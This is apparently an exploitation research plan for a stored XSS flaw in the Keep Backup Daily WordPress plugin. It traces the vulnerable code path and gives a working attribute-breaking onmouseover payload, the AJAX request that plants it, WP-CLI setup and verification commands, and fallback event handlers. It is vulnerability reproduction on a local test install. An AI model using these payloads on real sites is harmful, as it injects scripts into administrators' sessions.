Exploitation Research Plan - CVE-2026-3577

1. Vulnerability Summary

The Keep Backup Daily plugin (<= 2.1.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of backup title aliases. An administrator can update a backup's display name (alias) via an AJAX action. While the input is passed through sanitize_text_field(), this function does not strip or encode double quotes. When these titles are subsequently rendered on the backup management page, they are output within HTML attributes without proper escaping (specifically missing esc_attr()), allowing an attacker to break out of the attribute and inject event handlers or other malicious scripts.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: update_kbd_bkup_alias (inferred from description/typical plugin naming)
• Vulnerable Parameter: val (the new alias string)
• ID Parameter: id (the filename/key of the backup to update)
• Authentication: Required (Administrator level)
• Precondition: At least one backup must exist in the system to provide a target id (filename).

3. Code Flow

1. Input Entry: An administrator sends a POST request to admin-ajax.php with action=update_kbd_bkup_alias.
2. Processing: The handler (likely in inc/functions.php or index.php, though truncated in source) retrieves the val parameter.
3. Sanitization: It applies sanitize_text_field(), which strips HTML tags (e.g., <script>) but preserves double quotes (").
4. Storage: The sanitized string is stored in the WordPress options table under the key kbd_backup_aliases via update_option().
5. Retrieval: When an administrator visits the backup download page (options-general.php?page=kbd_download), the function kbd_force_download_old() (in inc/kbd_cron.php) is called.
6. Sourcing: kbd_force_download_old() calls kbd_backup_aliases($name) to retrieve the stored title for a backup.
7. Sink: The retrieved $title is echoed into an HTML attribute (e.g., value="..." or title="...") without esc_attr().

4. Nonce Acquisition Strategy

The source code provided does not explicitly show the registration of the update_kbd_bkup_alias action or its nonce. However, inc/functions.php contains a register_kbd_styles hook. We will investigate if the plugin localizes a nonce for its AJAX operations.

1. Identify Page: The backup management page is options-general.php?page=kbd_download.
2. Search for Localized Data:
   • Navigate to the page using browser_navigate.
   • Use browser_eval to check for common plugin objects or localized scripts.
   • Search for keys like kbd_ajax, kbd_data, or similar.
3. Check Verification: If the AJAX handler uses check_ajax_referer or wp_verify_nonce, the action string is likely related to the plugin name or the specific operation (e.g., 'kbd_nonce', 'kbd_update_alias').

5. Exploitation Strategy

Step 1: Ensure a backup exists

Before an alias can be updated, a backup file must be present in the uploads directory.

1. Trigger a backup via the plugin settings or WP-CLI: wp eval "kbd_db_backup_process();"
2. Confirm a file exists in wp-content/uploads starting with the prefix defined in index.php: database-backup-[DB_NAME]-.

Step 2: Extract a backup ID

1. Navigate to options-general.php?page=kbd_download.
2. Find the filename of the backup. The "ID" used in the kbd_backup_aliases option is the filename without the prefix and .gz extension (see kbd_force_download_old logic).

Step 3: Inject the XSS Payload

Send the malicious AJAX request.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body:
  • action: update_kbd_bkup_alias
  • id: [BACKUP_FILENAME_KEY]
  • val: alias" onmouseover="alert(document.domain)" style="display:block;width:100%;height:100px;background:red;"
• Headers: Content-Type: application/x-www-form-urlencoded

Step 4: Trigger Execution

1. Navigate to options-general.php?page=kbd_download.
2. The payload will be rendered inside an attribute. If using onmouseover, moving the mouse over the input/element will trigger the alert.

6. Test Data Setup

1. User: An administrator account.
2. Plugin Config: Ensure the plugin is activated.
3. Backup File: Create a dummy backup file manually if the plugin process fails:

   DB_NAME=$(wp config get DB_NAME)
   touch "/var/www/html/wp-content/uploads/database-backup-$DB_NAME-12345-1234567890.gz"
   

   (Adjust filename to match the expected format used in kbd_backup_url_encode_decode).

7. Expected Results

• The AJAX request should return a success code (e.g., 1 or a JSON success).
• The kbd_backup_aliases option in the database should contain the payload.
• When viewing the backup list page, the HTML source should look like:
  <input ... value="alias" onmouseover="alert(document.domain)" ...>.

8. Verification Steps

1. Check Database:

   wp option get kbd_backup_aliases --format=json
   

   Confirm the payload onmouseover="alert(document.domain)" is present.
2. Inspect DOM: Use browser_eval to find the element and check for the injected attribute:

   document.querySelector('input.kbd-bkup-alias').onmouseover.toString()
   

9. Alternative Approaches

If the update_kbd_bkup_alias action is not the correct name, check for any jQuery.post calls in the plugin's JS assets:

1. List JS files: find wp-content/plugins/keep-backup-daily -name "*.js"
2. Grep for action: in those files to find the correct AJAX action name.
3. If sanitize_text_field is more aggressive than described, try injecting into different attributes or using different event handlers (e.g., onfocus with autofocus).